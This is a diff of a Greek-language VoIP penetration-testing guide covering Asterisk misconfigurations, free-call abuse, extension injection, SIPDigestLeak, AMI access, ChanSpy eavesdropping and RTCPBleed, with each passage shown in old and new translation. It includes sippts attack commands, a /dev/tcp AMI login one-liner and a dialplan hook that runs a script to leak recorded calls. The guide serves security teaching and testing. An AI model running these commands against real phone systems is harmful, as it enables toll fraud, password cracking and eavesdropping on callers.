|||
#### Κωδικοί DTMF
|
||||
|
||||
**Δεν είναι μόνο τα διαπιστευτήρια SIP** που μπορούν να βρεθούν στην κίνηση του δικτύου, είναι επίσης δυνατόν να βρεθούν κωδικοί DTMF οι οποίοι χρησιμοποιούνται για παράδειγμα για την πρόσβαση στο **ταχυδρομείο φωνητικών μηνυμάτων**.\
|
||||
Είναι δυνατόν να σταλούν αυτοί οι κωδικοί σε **μηνύματα INFO SIP**, σε **ήχο** ή μέσα σε **πακέτα RTP**. Αν οι κωδικοί βρίσκονται μέσα σε πακέτα RTP, μπορείτε να αποκόψετε αυτό το τμήμα της συνομιλίας και να χρησιμοποιήσετε το εργαλείο multimo για να τους εξάγετε:
|
||||
Είναι δυνατόν να σταλούν αυτοί οι κωδικοί σε **μηνύματα SIP INFO**, σε **ήχο** ή μέσα σε **πακέτα RTP**. Αν οι κωδικοί βρίσκονται μέσα σε πακέτα RTP, μπορείτε να αποκόψετε αυτό το τμήμα της συνομιλίας και να χρησιμοποιήσετε το εργαλείο multimo για να τους εξάγετε:
|
||||
```bash
|
||||
multimon -a DTMF -t wac pin.wav
|
||||
```
|
||||
### Σφάλματα Διαμόρφωσης Συνδέσεων Δωρεάν Κλήσεων / Σύνδεσης Asterisks
|
||||
### Δωρεάν Κλήσεις / Λαθεβιώσεις Ρυθμίσεων Σύνδεσης Asterisks
|
||||
|
||||
Στο Asterisk είναι δυνατόν να επιτραπεί μια σύνδεση **από μια συγκεκριμένη διεύθυνση IP** ή από **οποιαδήποτε διεύθυνση IP**:
|
||||
Στο Asterisk είναι δυνατή η επιτροπή σύνδεσης **από μια συγκεκριμένη διεύθυνση IP** ή από **οποιαδήποτε διεύθυνση IP**:
|
||||
```
|
||||
host=10.10.10.10
|
||||
host=dynamic
|
||||
```
|
||||
Εάν καθοριστεί μια διεύθυνση IP, το σύστημα **δεν θα χρειαστεί να στέλνει αιτήματα REGISTER** κάθε λίγο και λίγο (στο πακέτο REGISTER στέλνεται ο χρόνος ζωής, συνήθως 30 λεπτά, που σημαίνει ότι σε άλλη περίπτωση το τηλέφωνο θα χρειαστεί να κάνει REGISTER κάθε 30 λεπτά). Ωστόσο, θα πρέπει να έχει ανοιχτές θύρες που επιτρέπουν συνδέσεις από το διακομιστή VoIP για να δέχεται κλήσεις.
|
||||
Εάν καθοριστεί μια διεύθυνση IP, το σύστημα **δεν θα χρειάζεται να στέλνει αιτήματα REGISTER** κάθε λίγο και λίγο (στο πακέτο REGISTER στέλνεται ο χρόνος ζωής, συνήθως 30 λεπτά, που σημαίνει ότι σε άλλη περίπτωση το τηλέφωνο θα πρέπει να κάνει REGISTER κάθε 30 λεπτά). Ωστόσο, θα πρέπει να έχει ανοιχτές θύρες που επιτρέπουν συνδέσεις από το διακομιστή VoIP για να δέχεται κλήσεις.
|
||||
|
||||
Για να οριστούν οι χρήστες, μπορούν να οριστούν ως:
|
||||
|
||||
|
@ -355,10 +355,10 @@ host=dynamic
|
|||
* **`type=friend`**: Είναι δυνατή η πραγματοποίηση κλήσεων ως peer και η λήψη τους ως χρήστης (χρησιμοποιείται με επεκτάσεις)
|
||||
* **`type=peer`**: Είναι δυνατή η αποστολή και λήψη κλήσεων ως peer (SIP-trunks)
|
||||
|
||||
Είναι επίσης δυνατή η εγκαθίδρυση εμπιστοσύνης με τη μεταβλητή ανασφάλειας:
|
||||
Είναι επίσης δυνατή η καθιέρωση εμπιστοσύνης με τη μη ασφαλή μεταβλητή:
|
||||
|
||||
* **`insecure=port`**: Επιτρέπει συνδέσεις peer που επικυρώνονται από τη διεύθυνση IP.
|
||||
* **`insecure=invite`**: Δεν απαιτείται πιστοποίηση για μηνύματα INVITE
|
||||
* **`insecure=invite`**: Δεν απαιτείται πιστοποίηση για τα μηνύματα INVITE
|
||||
* **`insecure=port,invite`**: Και τα δύο
|
||||
|
||||
{% hint style="warning" %}
|
||||
|
@ -370,11 +370,11 @@ host=dynamic
|
|||
`type=friend`
|
||||
{% endhint %}
|
||||
|
||||
### Δωρεάν Κλήσεις / Λανθασμένες Ρυθμίσεις Πλαισίου Asterisk
|
||||
### Δωρεάν Κλήσεις / Λανθασμένες Ρυθμίσεις Πλαισίου Asterisks
|
||||
|
||||
Στο Asterisk ένα **context** είναι ένα ονομασμένο δοχείο ή τμήμα στο σχέδιο κλήσης που **συγκεντρώνει σχετικές επεκτάσεις, ενέργειες και κανόνες**. Το σχέδιο κλήσης είναι το κύριο συστατικό ενός συστήματος Asterisk, καθώς ορίζει **πώς χειρίζονται και δρομολογούνται οι εισερχόμενες και εξερχόμενες κλήσεις**. Τα context χρησιμοποιούνται για την οργάνωση του σχεδίου κλήσης, τη διαχείριση του ελέγχου πρόσβασης και την παροχή διαχωρισμού μεταξύ διαφορετικών τμημάτων του συστήματος.
|
||||
|
||||
Κάθε context ορίζεται στο αρχείο ρυθμίσεων, συνήθως στο αρχείο **`extensions.conf`**. Τα context δηλώνονται με αγκύλες, με το όνομα του context που περικλείεται μέσα σε αυτές. Για παράδειγμα:
|
||||
Κάθε context ορίζεται στο αρχείο ρυθμίσεων, συνήθως στο αρχείο **`extensions.conf`**. Τα context δηλώνονται με αγκύλες, με το όνομα του context περικλεισμένο μέσα σε αυτές. Για παράδειγμα:
|
||||
```bash
|
||||
csharpCopy code[my_context]
|
||||
```
|
||||
|
@ -387,7 +387,7 @@ exten => 100,n,Hangup()
|
|||
```
|
||||
Αυτό το παράδειγμα δείχνει ένα απλό context που ονομάζεται "my\_context" με μια επέκταση "100". Όταν κάποιος καλεί το 100, η κλήση θα απαντηθεί, θα ακουστεί ένα μήνυμα καλωσορίσματος και στη συνέχεια η κλήση θα τερματιστεί.
|
||||
|
||||
Αυτός είναι **ένας άλλος context** που επιτρέπει τη **κλήση προς οποιονδήποτε άλλο αριθμό**:
|
||||
Αυτός είναι **ένας άλλος context** που επιτρέπει το **κάλεσμα προς οποιονδήποτε άλλο αριθμό**:
|
||||
```scss
|
||||
[external]
|
||||
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
|
||||
|
@ -399,16 +399,16 @@ include => my_context
|
|||
include => external
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Οποιοσδήποτε θα μπορεί να χρησιμοποιήσει τον **server για να καλέσει οποιονδήποτε άλλο αριθμό** (και ο διαχειριστής του server θα πληρώσει για την κλήση).
|
||||
Οποιοσδήποτε θα μπορεί να χρησιμοποιήσει τον **διακομιστή για να καλέσει σε οποιοδήποτε άλλον αριθμό** (και ο διαχειριστής του διακομιστή θα πληρώσει για την κλήση).
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
Επιπλέον, από προεπιλογή το αρχείο **`sip.conf`** περιέχει **`allowguest=true`**, οπότε **οποιοσδήποτε** επιτιθέμενος χωρίς **ταυτοποίηση** θα μπορεί να καλέσει οποιονδήποτε άλλο αριθμό.
|
||||
Επιπλέον, από προεπιλογή το αρχείο **`sip.conf`** περιέχει **`allowguest=true`**, οπότε **οποιοσδήποτε** επιτιθέμενος χωρίς **ταυτοποίηση** θα μπορεί να καλέσει σε οποιοδήποτε άλλον αριθμό.
|
||||
{% endhint %}
|
||||
|
||||
* **`SIPPTS invite`** από το [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS invite ελέγχει αν ένα **PBX server μας επιτρέπει να κάνουμε κλήσεις χωρίς ταυτοποίηση**. Αν ο SIP server έχει μη σωστή ρύθμιση, θα μας επιτρέψει να κάνουμε κλήσεις προς εξωτερικούς αριθμούς. Μπορεί επίσης να μας επιτρέψει να μεταφέρουμε την κλήση σε έναν δεύτερο εξωτερικό αριθμό.
|
||||
* **`SIPPTS invite`** από το [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS invite ελέγχει αν ένας **PBX διακομιστής μας επιτρέπει να κάνουμε κλήσεις χωρίς ταυτοποίηση**. Αν ο διακομιστής SIP έχει μη σωστή ρύθμιση, θα μας επιτρέψει να κάνουμε κλήσεις προς εξωτερικούς αριθμούς. Μπορεί επίσης να μας επιτρέψει να μεταφέρουμε την κλήση σε έναν δεύτερο εξωτερικό αριθμό.
|
||||
|
||||
Για παράδειγμα, αν ο διακομιστής Asterisk σας έχει μια κακή ρύθμιση περιβάλλοντος, μπορεί να δέχεται αιτήματα INVITE χωρίς εξουσιοδότηση. Σε αυτήν την περίπτωση, ένας επιτιθέμενος μπορεί να κάνει κλήσεις χωρίς να γνωρίζει κάποιο όνομα χρήστη/κωδικό.
|
||||
Για παράδειγμα, αν ο διακομιστής Asterisk σας έχει μια κακή ρύθμιση περιβάλλοντος, μπορεί να δεχθεί αίτημα INVITE χωρίς ταυτοποίηση. Σε αυτήν την περίπτωση, ένας επιτιθέμενος μπορεί να κάνει κλήσεις χωρίς να γνωρίζει κάποιο όνομα χρήστη/κωδικό.
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Trying to make a call to the number 555555555 (without auth) with source number 200.
|
||||
|
@ -421,17 +421,17 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
|
|||
|
||||
### Δωρεάν κλήσεις / Λανθασμένα ρυθμισμένο IVRS
|
||||
|
||||
Το IVRS σημαίνει **Διαδραστικό Σύστημα Ανταπόκρισης Φωνής**, μια τεχνολογία τηλεφωνίας που επιτρέπει στους χρήστες να αλληλεπιδρούν με ένα υπολογιστικό σύστημα μέσω φωνητικών ή αφής εισόδων. Το IVRS χρησιμοποιείται για τη δημιουργία συστημάτων **αυτοματοποιημένης χειρισμού κλήσεων** που προσφέρουν μια σειρά λειτουργιών, όπως παροχή πληροφοριών, δρομολόγηση κλήσεων και καταγραφή εισόδου χρήστη.
|
||||
Το IVRS σημαίνει **Διαδραστικό Σύστημα Ανταπόκρισης Φωνής**, μια τεχνολογία τηλεφωνίας που επιτρέπει στους χρήστες να αλληλεπιδρούν με ένα υπολογιστικό σύστημα μέσω φωνητικών ή αφής εισόδων. Το IVRS χρησιμοποιείται για τη δημιουργία συστημάτων **αυτοματοποιημένης χειρισμού κλήσεων** που προσφέρουν μια σειρά λειτουργιών, όπως παροχή πληροφοριών, δρομολόγηση κλήσεων και καταγραφή εισόδων χρηστών.
|
||||
|
||||
Το IVRS στα συστήματα VoIP αποτελείται τυπικά από:
|
||||
|
||||
1. **Φωνητικές οδηγίες**: Προ-εγγεγραμμένα ηχητικά μηνύματα που καθοδηγούν τους χρήστες μέσω των επιλογών και οδηγιών του μενού IVR.
|
||||
2. **DTMF** (Διπλής Τόνου Πολυσυχνότητα) σήμανση: Εισόδοι αφής που παράγονται πατώντας πλήκτρα στο τηλέφωνο, τα οποία χρησιμοποιούνται για την πλοήγηση μέσω των μενού IVR και την παροχή εισόδου.
|
||||
1. **Φωνητικές οδηγίες**: Προ-εγγεγραμμένα ηχητικά μηνύματα που καθοδηγούν τους χρήστες μέσω των επιλογών και οδηγιών του IVR.
|
||||
2. **Σήμανση DTMF** (Dual-Tone Multi-Frequency): Εισόδοι αφής που παράγονται πατώντας πλήκτρα στο τηλέφωνο, τα οποία χρησιμοποιούνται για την πλοήγηση μέσω των μενού του IVR και την παροχή εισόδων.
|
||||
3. **Δρομολόγηση κλήσεων**: Κατευθύνοντας κλήσεις προς τον κατάλληλο προορισμό, όπως συγκεκριμένα τμήματα, πράκτορες ή επεκτάσεις με βάση την είσοδο του χρήστη.
|
||||
4. **Καταγραφή εισόδου χρήστη**: Συλλογή πληροφοριών από τους καλούντες, όπως αριθμούς λογαριασμών, αναγνωριστικά περιστατικών ή οποιαδήποτε άλλα σχετικά δεδομένα.
|
||||
4. **Καταγραφή εισόδων χρηστών**: Συλλέγοντας πληροφορίες από τους καλούντες, όπως αριθμούς λογαριασμών, αναγνωριστικά περιστατικών ή οποιαδήποτε άλλα σχετικά δεδομένα.
|
||||
5. **Ενσωμάτωση με εξωτερικά συστήματα**: Σύνδεση του συστήματος IVR με βάσεις δεδομένων ή άλλα λογισμικά συστήματα για πρόσβαση ή ενημέρωση πληροφοριών, εκτέλεση ενεργειών ή ενεργοποίηση συμβάντων.
|
||||
|
||||
Σε ένα σύστημα VoIP Asterisk, μπορείτε να δημιουργήσετε ένα IVR χρησιμοποιώντας το σχέδιο κλήσης (**αρχείο `extensions.conf`**) και διάφορες εφαρμογές όπως `Background()`, `Playback()`, `Read()` και άλλες. Αυτές οι εφαρμογές σας βοηθούν να αναπαράγετε φωνητικές οδηγίες, να καταγράφετε την είσοδο του χρήστη και να ελέγχετε τη ροή της κλήσης.
|
||||
Σε ένα σύστημα VoIP Asterisk, μπορείτε να δημιουργήσετε ένα IVR χρησιμοποιώντας το σχέδιο κλήσης (**αρχείο `extensions.conf`**) και διάφορες εφαρμογές όπως `Background()`, `Playback()`, `Read()` και άλλες. Αυτές οι εφαρμογές σας βοηθούν να αναπαράγετε φωνητικές οδηγίες, να καταγράφετε εισόδους χρηστών και να ελέγχετε τη ροή της κλήσης.
|
||||
|
||||
#### Παράδειγμα ευάλωτης διαμόρφωσης
|
||||
```scss
|
||||
|
@ -442,7 +442,7 @@ exten => 0,103,GotoIf("$[${numbers}"=""]?100)
|
|||
exten => 0,104,Dial(LOCAL/${numbers})
|
||||
```
|
||||
Το προηγούμενο είναι ένα παράδειγμα όπου ο χρήστης καλείται να **πατήσει 1 για να καλέσει** ένα τμήμα, **2 για να καλέσει** ένα άλλο, ή **την πλήρη επέκταση** αν την γνωρίζει.\
|
||||
Η ευπάθεια είναι το γεγονός ότι το **μήκος της επέκτασης δεν ελέγχεται, έτσι ένας χρήστης θα μπορούσε να εισάγει κατά τη διάρκεια της περιόδου αναμονής 5 δευτερολέπτων έναν πλήρη αριθμό και αυτός θα κληθεί.**
|
||||
Η ευπάθεια είναι το γεγονός ότι το **μήκος της επέκτασης δεν ελέγχεται, έτσι ένας χρήστης θα μπορούσε να εισάγει μια πλήρη αριθμητική τιμή και να γίνει η κλήση.**
|
||||
|
||||
### Εισαγωγή Επέκτασης
|
||||
|
||||
|
@ -458,23 +458,23 @@ exten => 101,1,Dial(SIP/101)
|
|||
```scss
|
||||
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
|
||||
```
|
||||
Επομένως, ένα κάλεσμα στην επέκταση **`101`** και **`123123123`** θα σταλεί και μόνο ο πρώτος που θα λάβει το κάλεσμα θα εγκαθιδρυθεί... αλλά αν ένας εισβολέας χρησιμοποιήσει μια **επέκταση που παρακάμπτει οποιαδήποτε αντιστοίχιση** που πραγματοποιείται αλλά δεν υπάρχει, θα μπορούσε να **ενθάρρυνει ένα κάλεσμα μόνο στο επιθυμητό νούμερο**.
|
||||
Επομένως, ένα κάλεσμα στην επέκταση **`101`** και **`123123123`** θα σταλεί και μόνο ο πρώτος που θα λάβει το κάλεσμα θα εγκαθιδρυθεί... αλλά αν ένας εισβολέας χρησιμοποιήσει μια **επέκταση που παρακάμπτει οποιαδήποτε αντιστοίχιση** που πραγματοποιείται αλλά δεν υπάρχει, θα μπορούσε να **εισχωρήσει ένα κάλεσμα μόνο στο επιθυμητό νούμερο**.
|
||||
|
||||
## Ευπάθεια SIPDigestLeak
|
||||
|
||||
Η διαρροή του SIP Digest είναι μια ευπάθεια που επηρεάζει ένα μεγάλο αριθμό των SIP τηλεφώνων, συμπεριλαμβανομένων τόσο των υλικού όσο και των λογισμικού IP τηλεφώνων καθώς και των προσαρμογέων τηλεφώνου (VoIP σε αναλογικό). Η ευπάθεια επιτρέπει τη **διαρροή της απάντησης πιστοποίησης Digest**, η οποία υπολογίζεται από τον κωδικό πρόσβασης. Ένας **επίθετης εκτός σύνδεσης επίθεσης κωδικού πρόσβασης είναι τότε δυνατός** και μπορεί να ανακτήσει τους περισσότερους κωδικούς πρόσβασης με βάση την απάντηση πρόκλησης.
|
||||
Η διαρροή SIP Digest είναι μια ευπάθεια που επηρεάζει ένα μεγάλο αριθμό των τηλεφώνων SIP, συμπεριλαμβανομένων τόσο των υλικού όσο και των λογισμικού τηλεφώνων IP, καθώς και των προσαρμογέων τηλεφώνου (VoIP σε αναλογικό). Η ευπάθεια επιτρέπει τη **διαρροή της απάντησης πιστοποίησης Digest**, η οποία υπολογίζεται από τον κωδικό πρόσβασης. Έπειτα είναι δυνατή μια **επίθεση κωδικού πρόσβασης εκτός σύνδεσης** και μπορεί να ανακτήσει τους περισσότερους κωδικούς πρόσβασης με βάση την απάντηση πρόκλησης.
|
||||
|
||||
**[Σενάριο ευπάθειας από εδώ**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
|
||||
|
||||
1. Ένα IP τηλέφωνο (θύμα) ακούει σε οποιαδήποτε θύρα (για παράδειγμα: 5060), δέχεται τηλεφωνικές κλήσεις
|
||||
2. Ο εισβολέας στέλνει ένα INVITE στο IP τηλέφωνο
|
||||
1. Ένα τηλέφωνο IP (θύμα) ακούει σε οποιαδήποτε θύρα (για παράδειγμα: 5060), δέχεται τηλεφωνικές κλήσεις
|
||||
2. Ο εισβολέας στέλνει ένα INVITE στο τηλέφωνο IP
|
||||
3. Το τηλέφωνο θύμα αρχίζει να χτυπάει και κάποιος απαντά και κλείνει το τηλέφωνο (επειδή κανείς δεν απαντά στο άλλο άκρο)
|
||||
4. Όταν το τηλέφωνο κλείνεται, το **τηλέφωνο θύμα στέλνει ένα BYE στον εισβολέα**
|
||||
5. Ο **εισβολέας εκδίδει μια απάντηση 407** που **ζητά πιστοποίηση** και εκδίδει μια πρόκληση πιστοποίησης
|
||||
6. Το **τηλέφωνο θύμα παρέχει μια απάντηση στην πρόκληση πιστοποίησης** σε ένα δεύτερο BYE
|
||||
7. Ο **εισβολέας μπορεί στη συνέχεια να εκδώσει μια επίθεση βίας** στην απάντηση πρόκλησης στον τοπικό του υπολογιστή (ή κατανεμημένο δίκτυο κλπ) και να μαντέψει τον κωδικό πρόσβασης
|
||||
7. Ο **εισβολέας μπορεί στη συνέχεια να εκδώσει μια επίθεση βίας** στην απάντηση πρόκλησης στον τοπικό του υπολογιστή (ή σε κατανεμημένο δίκτυο κλπ.) και να μαντέψει τον κωδικό πρόσβασης
|
||||
|
||||
* **Διαρροή SIPPTS** από [**sippts**](https://github.com/Pepelux/sippts)**:** Η διαρροή SIPPTS εκμεταλλεύεται την ευπάθεια διαρροής του SIP Digest που επηρεάζει ένα μεγάλο αριθμό των SIP τηλεφώνων. Το αποτέλεσμα μπορεί να αποθηκευτεί σε μορφή SipCrack για να εκτελεστεί με brute force χρησιμοποιώντας το SIPPTS dcrack ή το εργαλείο SipCrack.
|
||||
* **Διαρροή SIPPTS** από [**sippts**](https://github.com/Pepelux/sippts)**:** Η διαρροή SIPPTS εκμεταλλεύεται την ευπάθεια διαρροής SIP Digest που επηρεάζει ένα μεγάλο αριθμό των τηλεφώνων SIP. Το αποτέλεσμα μπορεί να αποθηκευτεί σε μορφή SipCrack για να εκτελεστεί με brute force χρησιμοποιώντας το εργαλείο dcrack του SIPPTS ή το εργαλείο SipCrack.
|
||||
```bash
|
||||
sippts leak -i 10.10.0.10
|
||||
|
||||
|
@ -497,9 +497,9 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
|
|||
```
|
||||
### Click2Call
|
||||
|
||||
Το Click2Call επιτρέπει σε έναν **χρήστη ιστοσελίδας** (που για παράδειγμα ενδιαφέρεται για ένα προϊόν) να **εισάγει** τον **αριθμό τηλεφώνου του** για να του κληθεί. Στη συνέχεια θα γίνει ένα τηλεφώνημα σε έναν εμπορικό, και όταν **σηκώσει το τηλέφωνο** ο χρήστης θα **κληθεί και θα συνδεθεί με τον πράκτορα**.
|
||||
Το Click2Call επιτρέπει σε έναν **χρήστη ιστού** (που για παράδειγμα μπορεί να ενδιαφέρεται για ένα προϊόν) να **εισάγει** τον **αριθμό τηλεφώνου** του για να του τηλεφωνήσουν. Στη συνέχεια θα γίνει ένα τηλεφώνημα σε έναν εμπορικό, και όταν **σηκώσει το τηλέφωνο** ο χρήστης θα **κληθεί και θα συνδεθεί με τον πράκτορα**.
|
||||
|
||||
Ένα κοινό προφίλ Asterisk γι' αυτό είναι:
|
||||
Ένα κοινό προφίλ Asterisk για αυτό είναι:
|
||||
```scss
|
||||
[web_user]
|
||||
secret = complex_password
|
||||
|
@ -510,9 +510,9 @@ read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
|
|||
write = system,call,agent,user,config,command,reporting,originate
|
||||
```
|
||||
* Το προηγούμενο προφίλ επιτρέπει **ΟΠΟΙΑΔΗΠΟΤΕ διεύθυνση IP να συνδεθεί** (αν είναι γνωστός ο κωδικός).
|
||||
* Για να **οργανώσετε μια κλήση**, όπως προαναφέρθηκε, **δεν απαιτείται άδεια ανάγνωσης** και **μόνο** η **δυνατότητα originate** στο **write** είναι απαραίτητη.
|
||||
* Για να **οργανώσετε μια κλήση**, όπως προαναφέρθηκε, **δεν απαιτείται άδεια ανάγνωσης** και **μόνο** η **αρχική** σε **εγγραφή** είναι απαραίτητη.
|
||||
|
||||
Με αυτές τις άδειες, οποιαδήποτε διεύθυνση IP που γνωρίζει τον κωδικό θα μπορούσε να συνδεθεί και να εξάγει πάρα πολλές πληροφορίες, όπως:
|
||||
Με αυτές τις άδειες, οποιαδήποτε IP γνωρίζοντας τον κωδικό θα μπορούσε να συνδεθεί και να εξάγει πολλές πληροφορίες, όπως:
|
||||
```bash
|
||||
# Get all the peers
|
||||
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
|
||||
|
@ -521,13 +521,13 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
|
|||
|
||||
**Περισσότερες πληροφορίες ή ενέργειες μπορεί να ζητηθούν.**
|
||||
|
||||
### **Ακροάσεις**
|
||||
### **Ακροαματική παρακολούθηση**
|
||||
|
||||
Στο Asterisk είναι δυνατή η χρήση της εντολής **`ChanSpy`** δείχνοντας τις **επεκτάσεις προς παρακολούθηση** (ή όλες τις επεκτάσεις) για να ακούσετε συνομιλίες που γίνονται. Αυτή η εντολή πρέπει να ανατεθεί σε μια επέκταση.
|
||||
Στο Asterisk είναι δυνατό να χρησιμοποιηθεί η εντολή **`ChanSpy`** δείχνοντας τις **επεκτάσεις προς παρακολούθηση** (ή όλες τις επεκτάσεις) για να ακούσετε συνομιλίες που διεξάγονται. Αυτή η εντολή πρέπει να ανατεθεί σε μια επέκταση.
|
||||
|
||||
Για παράδειγμα, **`exten => 333,1,ChanSpy('all',qb)`** υποδηλώνει ότι αν **καλέσετε** την **επέκταση 333**, θα **παρακολουθήσει** **`όλες`** τις επεκτάσεις, θα **ξεκινήσει να ακούει** όποτε μια νέα συνομιλία ξεκινάει (**`b`**) σε ήσυχη λειτουργία (**`q`**) καθώς δεν θέλουμε να αλληλεπιδράσουμε με αυτήν. Μπορείτε να πηγαίνετε από μια συνομιλία που συμβαίνει σε μια άλλη πατώντας **`*`**, ή σημειώνοντας τον αριθμό της επέκτασης.
|
||||
Για παράδειγμα, **`exten => 333,1,ChanSpy('all',qb)`** υποδηλώνει ότι αν **καλέσετε** την **επέκταση 333**, θα **παρακολουθεί** **`όλες`** τις επεκτάσεις, θα **ξεκινήσει να ακούει** όποτε ξεκινά μια νέα συνομιλία (**`b`**) σε ήσυχη λειτουργία (**`q`**) καθώς δεν θέλουμε να αλληλεπιδράσουμε με αυτήν. Μπορείτε να πηγαίνετε από μια συνομιλία που συμβαίνει σε μια άλλη πατώντας **`*`**, ή σημειώνοντας τον αριθμό της επέκτασης.
|
||||
|
||||
Είναι επίσης δυνατό να χρησιμοποιήσετε το **`ExtenSpy`** για την παρακολούθηση μιας επέκτασης μόνο.
|
||||
Είναι επίσης δυνατό να χρησιμοποιήσετε το **`ExtenSpy`** για να παρακολουθήσετε μόνο μια επέκταση.
|
||||
|
||||
Αντί να ακούτε τις συνομιλίες, είναι δυνατό να τις **καταγράψετε σε αρχεία** χρησιμοποιώντας μια επέκταση όπως:
|
||||
|
||||
|
@ -545,19 +545,19 @@ exten => _X.,2,MixMonitor(${NAME})
|
|||
```scss
|
||||
exten => h,1,System(/tmp/leak_conv.sh &)
|
||||
```
|
||||
### Ευπαθότητα RTCPBleed
|
||||
### Ευπάθεια RTCPBleed
|
||||
|
||||
Το **RTCPBleed** είναι ένα σημαντικό θέμα ασφάλειας που επηρεάζει τους διακομιστές VoIP βασισμένους σε Asterisk (δημοσιεύθηκε το 2017). Η ευπαθότητα επιτρέπει στην κυκλοφορία **RTP (Real Time Protocol)**, η οποία μεταφέρει τις συνομιλίες VoIP, να **διακοπεί και να ανακατευθυνθεί από οποιονδήποτε στο Διαδίκτυο**. Αυτό συμβαίνει επειδή η κυκλοφορία RTP παρακάμπτει την ταυτοποίηση κατά τη διέλευση μέσω των τειχών προστασίας NAT (Network Address Translation).
|
||||
Το **RTCPBleed** είναι ένα σημαντικό θέμα ασφαλείας που επηρεάζει τους διακομιστές VoIP βασισμένους σε Asterisk (δημοσιεύθηκε το 2017). Η ευπάθεια επιτρέπει στην κυκλοφορία **RTP (Real Time Protocol)**, η οποία μεταφέρει συνομιλίες VoIP, να **διακοπεί και να ανακατευθυνθεί από οποιονδήποτε στο Διαδίκτυο**. Αυτό συμβαίνει επειδή η κυκλοφορία RTP παρακάμπτει την ταυτοποίηση κατά τη διέλευση μέσω των τειχών προστασίας NAT (Network Address Translation).
|
||||
|
||||
Οι διαμεσολαβητές RTP προσπαθούν να αντιμετωπίσουν τα **όρια του NAT** που επηρεάζουν τα συστήματα RTC με τον διαμεσολαβητή RTP να δρομολογεί ροές RTP μεταξύ δύο ή περισσότερων μερών. Όταν υπάρχει NAT, το λογισμικό διαμεσολαβητής RTP συχνά δεν μπορεί να βασιστεί στις πληροφορίες IP και θύρας RTP που ανακτώνται μέσω σήμανσης (π.χ. SIP). Συνεπώς, πολλοί διαμεσολαβητές RTP έχουν εφαρμόσει ένα μηχανισμό όπου το συγκεκριμένο **IP και θύρα αυτόματα μαθαίνεται**. Συνήθως γίνεται αυτό ελέγχοντας την εισερχόμενη κυκλοφορία RTP και επισημαίνοντας την πηγή IP και θύρα για οποιαδήποτε εισερχόμενη κυκλοφορία RTP ως αυτή που πρέπει να απαντηθεί. Αυτός ο μηχανισμός, που μπορεί να ονομαστεί "λειτουργία μάθησης", **δεν χρησιμοποιεί καμία μορφή ταυτοποίησης**. Συνεπώς, οι **επιτιθέμενοι** μπορούν να **στείλουν κυκλοφορία RTP στον διαμεσολαβητή RTP** και να λάβουν την διαμεσολαβημένη κυκλοφορία RTP που προορίζεται για τον καλούντα ή τον καλούμενο μιας ενεργής ροής RTP. Αυτή η ευπαθότητα ονομάζεται RTP Bleed επειδή επιτρέπει στους επιτιθέμενους να λαμβάνουν ροές μέσων RTP που προορίζονται για νόμιμους χρήστες.
|
||||
Οι διαμεσολαβητές RTP προσπαθούν να αντιμετωπίσουν τους περιορισμούς του NAT που επηρεάζουν τα συστήματα RTC με τον διαμεσολαβητή των ροών RTP μεταξύ δύο ή περισσότερων μερών. Όταν υπάρχει NAT, το λογισμικό διαμεσολάβησης RTP συχνά δεν μπορεί να βασιστεί στις πληροφορίες IP και θύρας RTP που ανακτώνται μέσω σήμανσης (π.χ. SIP). Συνεπώς, πολλοί διαμεσολαβητές RTP έχουν εφαρμόσει ένα μηχανισμό όπου το συγκεκριμένο **IP και θύρα αυτόματα μαθαίνεται**. Συνήθως γίνεται αυτό ελέγχοντας την εισερχόμενη κυκλοφορία RTP και επισημαίνοντας την IP πηγής και τη θύρα για οποιαδήποτε εισερχόμενη κυκλοφορία RTP ως αυτή που πρέπει να απαντηθεί. Αυτός ο μηχανισμός, ο οποίος μπορεί να ονομαστεί "λειτουργία μάθησης", **δεν χρησιμοποιεί καμία μορφή ταυτοποίησης**. Συνεπώς, οι **επιτιθέμενοι** μπορούν **να στείλουν κυκλοφορία RTP στον διαμεσολαβητή RTP** και να λάβουν την διαμεσολαβημένη κυκλοφορία RTP που προορίζεται για τον καλούντα ή τον καλούμενο μιας ενεργής ροής RTP. Αυτή η ευπάθεια ονομάζεται RTP Bleed επειδή επιτρέπει στους επιτιθέμενους να λαμβάνουν ροές μέσων RTP που προορίζονται για νόμιμους χρήστες.
|
||||
|
||||
Ένα άλλο ενδιαφέρον συμπεριφοράς των διαμεσολαβητών RTP και των στοιβών RTP είναι ότι μερικές φορές, **ακόμα κι αν δεν είναι ευάλωτοι στο RTP Bleed**, θα **αποδεχτούν, θα προωθήσουν και/ή θα επεξεργαστούν πακέτα RTP από οποιαδήποτε πηγή**. Συνεπώς, οι επιτιθέμενοι μπορούν να στείλουν πακέτα RTP τα οποία μπορεί να τους επιτρέψουν να ενσωματώσουν τα μέσα τους αντί των νόμιμων. Αυτή η επίθεση ονομάζεται ενσωμάτωση RTP επειδή επιτρέπει την ενσωμάτωση παράνομων πακέτων RTP σε υπάρχουσες ροές RTP. Αυτή η ευπαθότητα μπορεί να βρεθεί τόσο σε διαμεσολαβητές RTP όσο και σε σημεία άκρης.
|
||||
